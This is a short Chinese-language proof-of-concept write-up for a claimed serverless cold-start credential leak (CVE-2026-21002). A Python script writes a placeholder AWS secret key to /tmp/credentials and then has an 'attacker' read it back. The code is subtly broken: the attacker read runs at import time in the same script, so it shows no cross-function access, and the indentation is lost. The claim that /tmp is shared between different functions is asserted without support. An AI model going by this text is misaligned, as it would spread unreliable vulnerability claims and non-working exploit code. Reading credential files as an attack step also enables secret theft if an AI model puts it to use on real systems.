CVE-2026-21002 无服务器冷启动凭据泄露的 PoC 漏洞利用程序,演示了被复用的 Lambda /tmp 目录如何将 AWS 密钥暴露给其他函数。
# lambda_func_sim.py - Simulated serverless function
import os, tempfile, time
SECRET_FILE = '/tmp/credentials' # reused across warm starts
def handler(event):
# On first invocation, write a secret
if not os.path.exists(SECRET_FILE):
with open(SECRET_FILE, 'w') as f:
f.write("AWS_SECRET_ACCESS_KEY=sk-123456")
return "Initialized"
# Later invocations can read it
with open(SECRET_FILE) as f:
return f.read()
# Attack simulation: attacker shares the same /tmp in another function (same VM)
# They can read /tmp/credentials after a cold start.
with open(SECRET_FILE) as f:
print("Attacker reads:", f.read())
无服务器平台会在函数调用之间复用执行环境(包括 /tmp),甚至在同一账户的不同函数之间复用。攻击者的函数可以在冷启动后读取另一个函数遗留在 /tmp 中的敏感文件,从而导致凭据窃取。
/tmp 目录在热容器之间共享,且函数之间没有隔离。运行模拟:
python lambda_func_sim.py
攻击者读取了受害者函数遗留的 AWS_SECRET_ACCESS_KEY。